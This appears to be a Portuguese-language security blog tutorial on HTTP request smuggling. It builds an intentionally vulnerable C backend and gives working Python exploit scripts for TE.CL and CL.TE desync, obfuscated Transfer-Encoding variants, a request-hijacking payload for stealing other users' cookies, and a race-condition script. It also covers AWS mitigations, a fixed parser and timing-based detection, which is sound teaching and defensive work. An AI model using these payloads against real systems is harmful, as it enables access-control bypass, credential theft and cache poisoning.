R0Z

HTTP Request Smuggling: Explorando Desync entre Proxy e Backend

Wed, 13 May 2026 00:00:00 +0000

Introdução

Em 2005, Watchfire publicou um paper chamado “HTTP Request Smuggling” que descrevia uma classe de vulnerabilidade que, na época, pouca gente levou a sério. A ideia era simples e elegante: se dois componentes HTTP (um proxy e um backend) discordam sobre onde uma requisição termina e a próxima começa, um atacante pode “smuggle” uma requisição dentro de outra. O proxy vê uma coisa, o backend vê outra. O resultado é devastador.

Esse paper ficou meio esquecido por mais de uma década. Aí em 2019, James Kettle (do PortSwigger) apresentou na DEF CON 27 a talk “HTTP Desync Attacks: Smashing into the Cell Next Door” e basicamente ressuscitou essa classe de vulnerabilidade. Ele mostrou que request smuggling não era só um problema teórico, era explorável em produção, em infraestruturas reais, com impacto crítico. Depois, em 2023, ele foi além com “Smashing the State Machine: The True Potential of Web Race Conditions” na DEF CON 31, onde expandiu o conceito de desync para race conditions em single-packet attacks, mostrando que a dessincronização entre componentes é um problema muito mais amplo do que se imaginava.

Eu lembro de assistir a talk de 2019 e pensar: “como que isso passou despercebido por tanto tempo?”. A beleza do request smuggling é que ele explora algo fundamental, a ambiguidade na interpretação de um protocolo que todo mundo assume que é simples. HTTP parece trivial até você olhar de perto. Aí você descobre que cada implementação parseia de um jeito ligeiramente diferente, e essas diferenças são exploráveis.

No Brasil, conteúdo sobre request smuggling é praticamente inexistente com profundidade real. A maioria dos materiais em português são traduções superficiais dos labs do PortSwigger. Esse artigo é minha tentativa de mudar isso: vamos entender o problema desde o nível do socket TCP, construir um servidor vulnerável em C, explorar na prática, e discutir cenários reais em infraestrutura cloud.

O código completo do lab está no repositório http-smuggling-lab.

Para quem é este artigo?

Pentesters que querem entender request smuggling além do “copiar payload do PortSwigger”
Desenvolvedores backend que precisam entender o que protegem
Engenheiros de infraestrutura que configuram proxies e load balancers
Jogadores de CTF que encontram desafios de smuggling

Pré-requisitos

Entendimento básico do protocolo HTTP/1.1
Familiaridade com C (vamos construir um servidor vulnerável)
Python 3 (para os exploits)
Curiosidade sobre como proxies e backends se comunicam

Ambiente de laboratório

$ uname -a
Linux kali 6.19.11+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.11-1kali1 (2026-04-09) x86_64 GNU/Linux

$ gcc --version
gcc (Debian 15.2.0-16) 15.2.0

$ python3 --version
Python 3.13.12

1. O Problema Fundamental: Como HTTP Delimita Requisições

HTTP/1.1 é um protocolo text-based que roda sobre TCP. TCP é um stream de bytes, não tem conceito de “mensagens”. Quem define onde uma mensagem HTTP começa e termina é o parser HTTP de cada componente.

Numa arquitetura moderna, uma requisição HTTP passa por múltiplos componentes antes de chegar ao código da aplicação:

Cliente → CDN → Load Balancer → Reverse Proxy → Backend

Cada um desses componentes tem seu próprio parser HTTP. E aqui está o problema: se dois parsers discordam sobre o tamanho do body de uma requisição, os bytes “sobrando” do ponto de vista de um deles são interpretados como o início da próxima requisição.

Content-Length vs Transfer-Encoding

HTTP/1.1 tem duas formas de indicar o tamanho do body:

Content-Length: um número fixo de bytes.

POST /api HTTP/1.1
Host: exemplo.com
Content-Length: 13

{"user":"bob"}

Transfer-Encoding: chunked: o body é dividido em chunks, cada um prefixado com seu tamanho em hexadecimal, terminando com um chunk de tamanho 0.

POST /api HTTP/1.1
Host: exemplo.com
Transfer-Encoding: chunked

d
{"user":"bob"}
0

O d é 13 em hexadecimal (tamanho do chunk). O 0 indica fim dos chunks.

A RFC e a Ambiguidade

A RFC 7230 (seção 3.3.3) diz claramente:

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length.

Ou seja: se ambos estão presentes, Transfer-Encoding tem prioridade. O problema é que nem todo mundo implementa isso corretamente. Alguns backends ignoram Transfer-Encoding e usam Content-Length. Outros fazem o oposto. E quando um proxy e um backend discordam, temos request smuggling.

As Três Variantes

Variante	Frontend (proxy) usa	Backend usa
CL.TE	Content-Length	Transfer-Encoding
TE.CL	Transfer-Encoding	Content-Length
TE.TE	Transfer-Encoding	Transfer-Encoding (mas com obfuscação)

Neste artigo vamos focar em TE.CL: o proxy prioriza Transfer-Encoding (comportamento correto segundo a RFC) e o backend prioriza Content-Length (comportamento incorreto, mas comum em implementações legadas).

2. Visualizando o Desync

Antes de mergulhar no código, vamos entender visualmente o que acontece. Imagine a seguinte requisição enviada por um atacante:

POST / HTTP/1.1
Host: alvo.com
Content-Length: 4
Transfer-Encoding: chunked

28
GET /admin HTTP/1.1
Host: alvo.com

0

O que o proxy vê (prioriza Transfer-Encoding):

Requisição 1:
  POST / HTTP/1.1
  Body (chunked): chunk de 0x28=40 bytes contendo "GET /admin HTTP/1.1\r\nHost: alvo.com\r\n\r\n"
  Chunk final: 0

→ Encaminha TUDO ao backend (headers + body chunked completo)

O proxy considera que é uma única requisição POST com body em chunked encoding. Ele encaminha tudo ao backend numa única conexão TCP.

O que o backend vê (prioriza Content-Length):

Requisição 1:
  POST / HTTP/1.1
  Body: "28\r\n" (4 bytes, conforme Content-Length: 4)

Requisição 2 (bytes restantes no buffer TCP):
  GET /admin HTTP/1.1
  Host: alvo.com

O backend lê apenas 4 bytes de body (o valor de Content-Length). Os bytes restantes, que contêm GET /admin HTTP/1.1, ficam no buffer TCP e são interpretados como uma nova requisição independente.

O diagrama do ataque:

                    Conexão TCP (keep-alive)
┌──────────────────────────────────────────────────────────┐
│                                                          │
│  Cliente ────►  PROXY (TE)  ────────►  BACKEND (CL)      │
│                                                          │
│                 Vê: 1 requisição       Vê: 2 requisições │
│                 POST / (chunked body)  POST / (4 bytes)  │
│                                        GET /admin        │
└──────────────────────────────────────────────────────────┘

Isso é o desync: proxy e backend estão dessincronizados sobre o estado da conexão. O proxy acha que processou uma requisição. O backend processou duas. A segunda requisição foi smuggled pelo atacante.

3. Construindo um Backend Vulnerável em C

Pra entender de verdade como o smuggling funciona, nada melhor do que construir um servidor HTTP vulnerável do zero. Vamos escrever um backend em C que propositalmente prioriza Content-Length quando ambos os headers estão presentes.

Por que C?

Porque é onde você vê o problema no nível mais baixo. Sem abstrações, sem frameworks. Só bytes entrando num socket, sendo parseados, e virando requisições HTTP. É aqui que o bug mora.

O código do backend

O código completo está em github.com/renansj/http-smuggling-lab/backend.c. Vou destacar as partes relevantes.

A struct que guarda o resultado do parsing:

typedef struct {
    char method[16];
    char path[256];
    int  content_length;        /* valor de Content-Length (-1 se ausente) */
    int  has_transfer_encoding; /* 1 se Transfer-Encoding: chunked */
    char body[MAX_REQUEST];
    int  body_len;
} http_request_t;

A função de parsing: onde mora o bug

/* Parseia requisição HTTP. Retorna bytes consumidos ou -1 se incompleta. */
int parse_request(const char *raw, int raw_len, http_request_t *req) {
    memset(req, 0, sizeof(*req));
    req->content_length = -1;

    const char *header_end = strstr(raw, "\r\n\r\n");
    if (!header_end) return -1;

    int header_len = (header_end - raw) + 4;
    sscanf(raw, "%15s %255s", req->method, req->path);

    /* Extrair Content-Length e Transfer-Encoding */
    const char *line = strstr(raw, "\r\n") + 2;
    while (line < header_end) {
        const char *next = strstr(line, "\r\n");
        if (!next) break;

        if (strncasecmp(line, "Content-Length:", 15) == 0)
            req->content_length = atoi(line + 15);

        if (strncasecmp(line, "Transfer-Encoding:", 18) == 0) {
            const char *val = line + 18;
            while (*val == ' ') val++;
            if (strncasecmp(val, "chunked", 7) == 0)
                req->has_transfer_encoding = 1;
        }
        line = next + 2;
    }

    /*
     * BUG INTENCIONAL: prioriza Content-Length sobre Transfer-Encoding.
     * Um proxy RFC-compliant na frente vai usar TE para delimitar o body,
     * encaminhando mais bytes do que este backend consome. Os bytes
     * excedentes ficam no buffer e viram a próxima requisição.
     */
    if (req->content_length >= 0) {
        int available = raw_len - header_len;
        int to_read = req->content_length < available ? req->content_length : available;
        if (to_read > (int)sizeof(req->body) - 1) to_read = sizeof(req->body) - 1;
        memcpy(req->body, raw + header_len, to_read);
        req->body_len = to_read;
        return header_len + req->content_length;
    }

    if (req->has_transfer_encoding) {
        /* fallback: parsear chunked */
        const char *p = raw + header_len;
        int total = 0;
        while (1) {
            int chunk_size = (int)strtol(p, NULL, 16);
            if (chunk_size == 0) break;
            p = strstr(p, "\r\n") + 2;
            if (total + chunk_size < (int)sizeof(req->body)) {
                memcpy(req->body + total, p, chunk_size);
                total += chunk_size;
            }
            p += chunk_size + 2;
        }
        req->body_len = total;
        const char *end = strstr(p, "\r\n");
        return (end + 2) - raw;
    }

    return header_len;
}

O ponto crítico é o if (req->content_length >= 0). Quando Content-Length está presente, o backend sempre usa ele, mesmo que Transfer-Encoding também esteja. Isso viola a RFC, mas é um padrão que aparece em implementações reais (versões antigas de Gunicorn, servidores custom, appliances legados, algumas versões de IIS).

A função retorna o número de bytes “consumidos”. O handler remove esses bytes do buffer e tenta parsear o que sobrou como uma nova requisição. É exatamente aí que a requisição smuggled aparece.

O handler de conexão (keep-alive)

void *handle_connection(void *arg) {
    int fd = *(int *)arg;
    free(arg);

    char buf[MAX_REQUEST];
    int buf_used = 0;

    while (1) {
        int n = read(fd, buf + buf_used, sizeof(buf) - buf_used - 1);
        if (n <= 0) break;
        buf_used += n;
        buf[buf_used] = '\0';

        while (buf_used > 0) {
            http_request_t req;
            int consumed = parse_request(buf, buf_used, &req);
            if (consumed <= 0) break;

            printf("[BACKEND] %s %s (CL=%d, TE=%s, body=%d bytes)\n",
                   req.method, req.path, req.content_length,
                   req.has_transfer_encoding ? "chunked" : "none",
                   req.body_len);

            if (strcmp(req.path, "/admin") == 0)
                send_response(fd, 200, "OK",
                    "=== PAINEL ADMIN ===\nAcesso administrativo concedido.\n");
            else if (strcmp(req.path, "/") == 0)
                send_response(fd, 200, "OK", "Bem-vindo ao backend.\n");
            else
                send_response(fd, 404, "Not Found", "Nao encontrado.\n");

            int remaining = buf_used - consumed;
            if (remaining > 0) memmove(buf, buf + consumed, remaining);
            buf_used = remaining;
        }
    }

    close(fd);
    return NULL;
}

O loop while (buf_used > 0) é fundamental. Ele tenta parsear múltiplas requisições do mesmo buffer TCP. Isso é o comportamento correto para HTTP keep-alive, mas é exatamente esse comportamento que permite o smuggling: quando o parser consome menos bytes do que o proxy enviou, o “lixo” restante vira uma nova requisição.

Compilar e rodar

$ gcc -o backend backend.c -lpthread
$ ./backend 9090
[BACKEND] Porta 9090, vulneravel a TE.CL desync

4. Explorando o Desync na Prática

Agora que temos o backend vulnerável rodando, vamos explorar. O exploit usa sockets raw em Python, nada de requests ou abstrações que normalizam os headers. Precisamos de controle total sobre os bytes enviados.

O exploit

#!/usr/bin/env python3
"""
Demonstração de HTTP Request Smuggling (TE.CL)
Uso: python3 smuggle_demo.py [host] [porta]
"""

import socket
import sys
import time


def demo_smuggle(host, port):
    smuggled = b"GET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n"

    # Empacotar como chunk
    chunk_hex = format(len(smuggled), 'x').encode()
    chunked_body = chunk_hex + b"\r\n" + smuggled + b"\r\n" + b"0\r\n\r\n"

    # CL menor que o body real: backend consome só isso, resto vira nova req
    cl = len(chunk_hex) + 2  # consome apenas o chunk header "XX\r\n"

    payload = (
        b"POST / HTTP/1.1\r\n"
        b"Host: localhost\r\n"
        b"Content-Length: " + str(cl).encode() + b"\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        + chunked_body
    )

    print(f"[*] Content-Length: {cl} (backend le so isso)")
    print(f"[*] Body real:     {len(chunked_body)} bytes")
    print(f"[*] Excedente:     {len(chunked_body) - cl} bytes → GET /admin")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    sock.connect((host, port))
    sock.sendall(payload)
    time.sleep(0.5)

    data = sock.recv(8192)
    sock.close()

    responses = [b"HTTP/1.1 " + r for r in data.split(b"HTTP/1.1 ") if r]
    print(f"\n[*] Respostas recebidas: {len(responses)}")
    for i, resp in enumerate(responses):
        status = resp.split(b"\r\n")[0].decode()
        body_idx = resp.find(b"\r\n\r\n")
        body = resp[body_idx+4:].decode().strip() if body_idx > 0 else ""
        print(f"  [{i+1}] {status}")
        print(f"      {body}")

    if any(b"PAINEL ADMIN" in r for r in responses):
        print("\n[+] SMUGGLING CONFIRMADO")


if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9090
    demo_smuggle(host, port)

Executando

$ python3 smuggle_demo.py 127.0.0.1 9090
[*] Content-Length: 4 (backend le so isso)
[*] Body real:     51 bytes
[*] Excedente:     47 bytes → GET /admin

[*] Respostas recebidas: 3
  [1] HTTP/1.1 200 OK
      Bem-vindo ao backend.
  [2] HTTP/1.1 200 OK
      === PAINEL ADMIN ===
      Acesso administrativo concedido.
  [3] HTTP/1.1 404 Not Found
      Nao encontrado.

[+] SMUGGLING CONFIRMADO

O que aconteceu, byte a byte

Vamos dissecar o payload:

POST / HTTP/1.1\r\n            ← request line
Host: localhost\r\n             ← header
Content-Length: 4\r\n           ← backend usa ESTE
Transfer-Encoding: chunked\r\n ← proxy usaria ESTE
\r\n                            ← fim dos headers
28\r\n                          ← [4 bytes] chunk header (0x28 = 40)
GET /admin HTTP/1.1\r\n         ← ┐
Host: localhost\r\n              ← ├─ 40 bytes de chunk data
\r\n                             ← ┘
\r\n                            ← CRLF pós-chunk
0\r\n                           ← chunk final
\r\n                            ← trailer

O backend lê os headers, vê Content-Length: 4, e consome exatamente 4 bytes de body: 28\r\n. Pronto, primeira requisição processada. Ele remove esses bytes do buffer e tenta parsear o que sobrou:

GET /admin HTTP/1.1\r\n
Host: localhost\r\n
\r\n
\r\n0\r\n\r\n

Isso começa com GET /admin HTTP/1.1, uma requisição HTTP válida! O backend parseia e responde. A terceira resposta (404) é o lixo residual do chunked framing (0\r\n\r\n) que o backend tenta parsear como mais uma requisição.

Log do backend confirmando

[BACKEND] POST / (CL=4, TE=chunked, body=4 bytes)
[BACKEND] GET /admin (CL=-1, TE=none, body=0 bytes)

Duas requisições processadas a partir de um único envio TCP. O backend não tem como saber que o GET /admin foi smuggled. Pra ele, é uma requisição legítima que chegou na mesma conexão keep-alive.

5. O Cenário Real: Proxy + Backend

No exemplo anterior, enviamos direto ao backend. Mas no mundo real, o atacante não tem acesso direto ao backend. Ele fala com o proxy. O proxy é quem decide o que encaminhar. Vamos adicionar o proxy ao cenário.

O proxy (RFC-compliant)

O proxy segue a RFC corretamente: quando vê Transfer-Encoding: chunked, ele usa o chunked framing para determinar onde o body termina. Ele ignora Content-Length nesse caso.

O código completo está em proxy.c. A função chave:

/* Determina tamanho do body priorizando Transfer-Encoding (RFC compliant). */
int get_body_length(const char *headers, int header_len,
                    const char *body, int body_available, int *chunked) {
    *chunked = 0;

    const char *te = strcasestr(headers, "Transfer-Encoding:");
    if (te && te < headers + header_len) {
        const char *val = te + 18;
        while (*val == ' ') val++;
        if (strncasecmp(val, "chunked", 7) == 0) {
            *chunked = 1;
            return find_chunked_end(body, body_available);
        }
    }

    const char *cl = strcasestr(headers, "Content-Length:");
    if (cl && cl < headers + header_len)
        return atoi(cl + 15);

    return 0;
}

O proxy lê o body chunked completo (até 0\r\n\r\n), e encaminha tudo (headers originais + body) ao backend numa conexão keep-alive. O backend recebe os mesmos headers (incluindo ambos Content-Length e Transfer-Encoding), mas usa Content-Length para decidir quanto body ler.

O fluxo completo do ataque

1. Atacante → Proxy:
   POST / HTTP/1.1
   Content-Length: 4
   Transfer-Encoding: chunked

   28\r\nGET /admin...\r\n0\r\n\r\n

2. Proxy parseia:
   Vê TE:chunked → lê chunks → chunk de 0x28 bytes → chunk final 0
   Body completo. Encaminha ao backend.

3. Proxy → Backend (mesma conexão TCP keep-alive):
   [headers originais + body chunked completo]

4. Backend parseia:
   Vê CL:4 → lê 4 bytes de body ("28\r\n")
   Primeira requisição processada.
   Buffer restante: "GET /admin HTTP/1.1\r\n..."
   Parseia como SEGUNDA requisição.

5. Próxima requisição legítima de OUTRO usuário:
   O proxy encaminha na mesma conexão keep-alive
   Mas o backend já processou o GET /admin
   A resposta do /admin vai para o usuário errado!

Por que isso é devastador

O ponto 5 é o que torna request smuggling crítico em produção. Em infraestruturas reais, o proxy mantém um pool de conexões com o backend. Múltiplos clientes compartilham essas conexões. Se o atacante envenena o buffer de uma conexão do pool, a próxima requisição de qualquer usuário naquela conexão recebe a resposta da requisição smuggled.

Isso significa que o atacante pode:

Fazer outros usuários acessarem endpoints que não deveriam
Roubar respostas destinadas a outros usuários
Injetar headers em requisições de terceiros
Bypassar controles de acesso no proxy (WAF, autenticação)
Envenenar cache com conteúdo malicioso

6. Variante CL.TE

Até agora vimos TE.CL (proxy usa TE, backend usa CL). A variante inversa, CL.TE, funciona quando o proxy usa Content-Length e o backend usa Transfer-Encoding.

Como funciona

POST / HTTP/1.1
Host: alvo.com
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: alvo.com

Proxy (usa CL): lê 30 bytes de body. Isso inclui 0\r\n\r\nGET /admin... (os primeiros 30 bytes após os headers). Encaminha tudo ao backend.

Backend (usa TE): vê Transfer-Encoding: chunked, parseia chunks. Encontra chunk de tamanho 0 imediatamente, body vazio. Primeira requisição processada. O que sobra no buffer (GET /admin HTTP/1.1\r\n...) é a segunda requisição.

Payload CL.TE

def build_clte_payload():
    """CL.TE: proxy usa Content-Length, backend usa Transfer-Encoding."""

    smuggled = b"GET /admin HTTP/1.1\r\nHost: alvo.com\r\n\r\n"

    # Body que o proxy vai encaminhar (ele lê CL bytes):
    # "0\r\n\r\n" (fim do chunked) + requisição smuggled
    body = b"0\r\n\r\n" + smuggled

    payload = (
        b"POST / HTTP/1.1\r\n"
        b"Host: alvo.com\r\n"
        b"Content-Length: " + str(len(body)).encode() + b"\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        + body
    )
    return payload

Qual variante é mais comum?

Na prática, CL.TE é mais comum em infraestruturas com:

Frontend: HAProxy, AWS ALB, Cloudflare (usam CL por padrão em certos modos)
Backend: Node.js (Express), Gunicorn, que priorizam TE

TE.CL aparece quando:

Frontend: Nginx, Caddy (priorizam TE corretamente)
Backend: servidores legados, appliances, implementações custom

A variante TE.TE explora diferenças na forma como cada componente parseia o header Transfer-Encoding quando ele está obfuscado:

Transfer-Encoding: chunked
Transfer-Encoding : chunked      (espaço antes do :)
Transfer-Encoding: xchunked
Transfer-Encoding: chunked\x00   (null byte)
Transfer-Encoding:
 chunked                          (line folding)

Cada implementação reage de forma diferente a essas variações. Se uma aceita e outra rejeita, temos desync.

7. Impacto Real: O Que um Atacante Consegue

Request smuggling não é uma vulnerabilidade que você explora isoladamente. O poder real está no que você faz depois de conseguir o desync.

7.1 Bypass de controles de acesso

Se o proxy implementa controle de acesso (bloqueia /admin para IPs externos, por exemplo), o atacante pode smugglar uma requisição GET /admin que chega ao backend sem passar pela validação do proxy.

Proxy: "Essa requisição é POST /, permitido."
Backend: "Recebi POST / e GET /admin, processo ambos."

O proxy nunca viu o GET /admin. Ele foi injetado diretamente no buffer do backend.

7.2 Envenenamento de cache (Cache Poisoning)

Se existe um cache entre o proxy e o cliente (CDN, Varnish, etc.), o atacante pode fazer o cache armazenar a resposta errada para uma URL legítima. Se a próxima requisição legítima na mesma conexão é GET /static/app.js, o cache pode armazenar a resposta da requisição smuggled como a resposta canônica para /static/app.js. Todos os usuários subsequentes recebem o conteúdo envenenado.

7.3 Roubo de credenciais (Request Hijacking)

O atacante pode smugglar uma requisição parcial que “absorve” a próxima requisição de outro usuário:

smuggled = (
    b"POST /log HTTP/1.1\r\n"
    b"Host: alvo.com\r\n"
    b"Content-Length: 500\r\n"  # vai ler 500 bytes do próximo request
    b"\r\n"
)

O backend vê POST /log com Content-Length: 500. Ele espera 500 bytes de body. Os próximos 500 bytes que chegam na conexão são a requisição do próximo usuário! Incluindo cookies, tokens de autenticação, e qualquer dado sensível nos headers.

7.4 Reflected XSS → Stored XSS

Se o alvo tem um XSS refletido em algum parâmetro, o atacante pode usar smuggling para transformá-lo em stored. Ele smuggla uma requisição com o payload XSS que é “servida” para o próximo usuário que acessa a página, sem que a vítima precise clicar em nenhum link.

7.5 Bypass de WAF

Web Application Firewalls inspecionam requisições no nível do proxy. Se o WAF vê POST / com body inofensivo, ele permite. Mas o backend processa GET /admin?cmd=whoami que estava escondido dentro do body. O WAF nunca viu essa segunda requisição.

8. HTTP/2 Desync: A Evolução

Em 2021-2022, James Kettle publicou pesquisa sobre HTTP/2 request smuggling (H2.CL e H2.TE). O HTTP/2 usa framing binário, cada requisição é um stream independente com length fields explícitos. Em teoria, isso eliminaria o problema de delimitação. Na prática, não.

O problema: HTTP/2 → HTTP/1.1 downgrade

A maioria das infraestruturas faz downgrade de HTTP/2 para HTTP/1.1 entre o proxy e o backend:

Cliente ──HTTP/2──► Proxy/CDN ──HTTP/1.1──► Backend

O proxy recebe a requisição em HTTP/2 (onde o body tem tamanho explícito no frame), converte para HTTP/1.1, e adiciona um header Content-Length. Se o atacante consegue manipular os headers durante essa conversão, pode criar discrepâncias.

H2.CL (HTTP/2 → Content-Length desync)

Em HTTP/2, o atacante pode enviar um header Content-Length que não corresponde ao tamanho real do body no frame DATA. O proxy HTTP/2 pode não validar essa consistência. Quando ele converte para HTTP/1.1, o Content-Length incorreto é preservado, e o backend usa esse valor para delimitar o body.

# Pseudo-código: requisição HTTP/2 com CL inconsistente
headers = [
    (":method", "POST"),
    (":path", "/"),
    (":authority", "alvo.com"),
    ("content-length", "0"),  # CL diz 0 bytes
]
# Mas o frame DATA contém:
body = b"GET /admin HTTP/1.1\r\nHost: alvo.com\r\n\r\n"

O proxy HTTP/2 encaminha como HTTP/1.1 com Content-Length: 0 mas com body presente. O backend lê CL=0 bytes de body, e o body inteiro vira a próxima requisição.

CONTINUATION Flood (2024)

Em 2024, pesquisadores descobriram que frames CONTINUATION em HTTP/2 podiam ser abusados para DoS e, em alguns casos, para smuggling. O frame CONTINUATION permite enviar headers fragmentados em múltiplos frames. Algumas implementações não limitam o número de frames CONTINUATION, permitindo:

DoS por exaustão de memória (CVE-2024-27316 no Apache httpd)
Bypass de limites de tamanho de header
Confusão no parser de headers que pode levar a desync

9. Conexão com Race Conditions: “Smashing the State Machine”

Em 2023, James Kettle apresentou na DEF CON 31 a talk “Smashing the State Machine: The True Potential of Web Race Conditions”. Essa pesquisa expandiu o conceito de desync de uma forma que eu acho brilhante: ele mostrou que request smuggling e race conditions são manifestações do mesmo problema fundamental, a dessincronização de estado entre componentes.

Single-packet attack

A técnica central da pesquisa é o single-packet attack: enviar múltiplas requisições HTTP no mesmo pacote TCP para garantir que elas cheguem ao servidor simultaneamente, eliminando jitter de rede. Isso maximiza a janela de race condition.

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("alvo.com", 443))

# Construir N requisições completas
requests = b""
for i in range(20):
    requests += (
        f"POST /transfer HTTP/1.1\r\n"
        f"Host: alvo.com\r\n"
        f"Content-Length: 30\r\n"
        f"\r\n"
        f"from=alice&to=bob&amount=1000"
    ).encode()

# Enviar TUDO em um único send(), um único pacote TCP
sock.sendall(requests)

Todas as 20 requisições chegam no mesmo instante. Se o endpoint /transfer tem uma race condition (verifica saldo → debita sem lock), o atacante pode transferir 20x o valor com saldo para apenas 1x.

A conexão com smuggling

O insight de Kettle é que smuggling e race conditions exploram o mesmo vetor: o gap entre como o sistema deveria processar requisições (sequencialmente, com estado consistente) e como ele realmente processa (concorrentemente, com estado potencialmente inconsistente).

Request smuggling dessincroniza o parsing entre componentes. Race conditions dessincronizam o estado entre operações.

Ambos exploram o fato de que sistemas distribuídos são difíceis de manter consistentes, especialmente sob carga adversarial.

Referências

Paper: Kettle, J. “Smashing the State Machine: The True Potential of Web Race Conditions” (2023)
Talk DEF CON 31: YouTube
Blog post: PortSwigger Research

10. Mitigação de Desync na AWS

Se você opera infraestrutura na AWS, request smuggling é um risco real e documentado. A AWS teve múltiplos advisories sobre isso.

AWS Application Load Balancer (ALB)

O ALB é o componente mais comum na frente de aplicações web na AWS. Ele faz terminação HTTP e encaminha para targets (EC2, ECS, Lambda).

Modos de mitigação de desync:

Modo	Comportamento
Defensive (padrão)	Bloqueia requisições ambíguas (CL+TE simultâneos, CL duplicado, TE malformado)
Strictest	Bloqueia tudo que o defensive bloqueia + requisições com headers que podem causar desync em backends
Monitor	Permite tudo mas loga requisições suspeitas no CloudWatch

# Verificar modo atual do ALB
aws elbv2 describe-load-balancer-attributes \
  --load-balancer-arn <arn> \
  --query "Attributes[?Key=='routing.http.desync_mitigation_mode'].Value"

# Configurar modo strictest
aws elbv2 modify-load-balancer-attributes \
  --load-balancer-arn <arn> \
  --attributes Key=routing.http.desync_mitigation_mode,Value=strictest

Recomendação: usar strictest em produção. O modo defensive ainda permite algumas requisições ambíguas que backends específicos podem interpretar de forma insegura.

CloudFront

O CloudFront (CDN da AWS) também é suscetível a desync quando faz proxy para origins HTTP/1.1.

Mitigações:

Desde 2022, o CloudFront normaliza headers Transfer-Encoding e rejeita requisições com CL+TE simultâneos
Usar HTTP/2 entre CloudFront e origin (quando possível) elimina a classe CL/TE
Configurar Origin Shield adiciona uma camada extra de normalização

API Gateway

O API Gateway da AWS é menos suscetível porque parseia e reconstrói a requisição completamente (não faz proxy transparente), valida Content-Length contra o body real, e rejeita Transfer-Encoding em requisições para Lambda.

Mas atenção: se o API Gateway faz proxy para um backend HTTP (HTTP integration), o risco volta a existir dependendo da configuração.

Cenário de ataque real na AWS

Internet → CloudFront → ALB (defensive mode) → ECS (Gunicorn)

Se o Gunicorn no ECS tem uma versão que prioriza TE diferente do ALB:

Atacante envia requisição com TE obfuscado (Transfer-Encoding: xchunked)
ALB no modo defensive pode permitir (não é CL+TE explícito)
Gunicorn pode interpretar xchunked como chunked (ou não)
Se houver discordância → desync

Fix: modo strictest no ALB + atualizar Gunicorn + usar HTTP/2 entre ALB e target.

Checklist de mitigação AWS

ALB em modo strictest para desync mitigation
CloudFront com HTTP/2 para origin
Backend atualizado (Gunicorn ≥ 20.1.0, Nginx ≥ 1.21.1, Node.js ≥ 18.x)
Não usar HTTP/1.0 entre componentes
Monitorar métricas DesyncMitigationMode_NonCompliant_Request_Count no CloudWatch
Testar com ferramentas como smuggler.py ou http-request-smuggler (extensão Burp)
Se possível, usar HTTP/2 end-to-end (elimina a classe CL/TE completamente)

11. Como Corrigir o Backend Vulnerável

Voltando ao nosso backend.c, como corrigir o bug?

A correção

/*
 * parse_request CORRIGIDO: prioriza Transfer-Encoding
 * conforme RFC 7230 §3.3.3
 */
int parse_request_fixed(const char *raw, int raw_len, http_request_t *req) {
    /* ... parsing de headers igual ... */

    /*
     * CORREÇÃO: Transfer-Encoding tem prioridade ABSOLUTA.
     * Se ambos estão presentes, rejeitar a requisição (400 Bad Request).
     */
    if (req->has_transfer_encoding) {
        if (req->content_length >= 0) {
            return -2;  /* 400 Bad Request: requisição ambígua */
        }

        /* Parsear chunked normalmente */
        const char *p = raw + header_len;
        int total = 0;
        while (1) {
            int chunk_size = (int)strtol(p, NULL, 16);
            if (chunk_size == 0) break;
            p = strstr(p, "\r\n") + 2;
            if (total + chunk_size < (int)sizeof(req->body)) {
                memcpy(req->body + total, p, chunk_size);
                total += chunk_size;
            }
            p += chunk_size + 2;
        }
        req->body_len = total;
        const char *end = strstr(p, "\r\n");
        return (end + 2) - raw;
    }

    if (req->content_length >= 0) {
        int available = raw_len - header_len;
        int to_read = req->content_length < available ? req->content_length : available;
        memcpy(req->body, raw + header_len, to_read);
        req->body_len = to_read;
        return header_len + req->content_length;
    }

    return header_len;
}

Princípios da correção

Transfer-Encoding sempre tem prioridade sobre Content-Length (RFC 7230 §3.3.3)
Melhor ainda: rejeitar requisições ambíguas. Se ambos estão presentes, retornar 400 Bad Request. Não existe caso legítimo onde um cliente precisa enviar ambos.
Validar consistência. Se Content-Length está presente, verificar que o body recebido tem exatamente esse tamanho.
Normalizar antes de encaminhar. Se você é um proxy, remova o header redundante antes de encaminhar ao backend.

Mitigações em nível de infraestrutura

Camada	Mitigação
Proxy/LB	Rejeitar requisições com CL+TE simultâneos
Proxy/LB	Normalizar TE header (remover espaços, variações)
Proxy/LB	Usar HTTP/2 para backend (elimina a classe)
Backend	Priorizar TE sobre CL (RFC compliant)
Backend	Rejeitar requisições ambíguas com 400
Rede	Desabilitar connection reuse entre clientes diferentes
WAF	Regras específicas para detectar payloads de smuggling

12. Detectando Request Smuggling em Pentests

Técnica de detecção: timing differential

A forma mais confiável de detectar smuggling sem causar impacto é usar timing. A ideia: enviar uma requisição que, se o backend interpretar diferente do proxy, vai causar um timeout na resposta.

#!/usr/bin/env python3
"""detect_tecl.py: detecta TE.CL via timing."""

import socket
import time
import sys


def detect_tecl(host, port):
    """
    Lógica:
    - Proxy vê TE:chunked → chunk "0\r\n\r\n" = body vazio → encaminha
    - Backend vê CL:6 → espera 6 bytes de body
    - Mas o proxy só encaminhou "0\r\n\r\n" (5 bytes)
    - Backend fica esperando o 6º byte → TIMEOUT
    """
    payload = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Content-Length: 6\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        b"0\r\n"
        b"\r\n"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))

    start = time.time()
    sock.sendall(payload)

    try:
        resp = sock.recv(4096)
        elapsed = time.time() - start
        print(f"[*] Resposta em {elapsed:.2f}s: provavelmente nao vulneravel")
    except socket.timeout:
        elapsed = time.time() - start
        print(f"[+] TIMEOUT ({elapsed:.2f}s): possivel TE.CL!")

    sock.close()


if __name__ == "__main__":
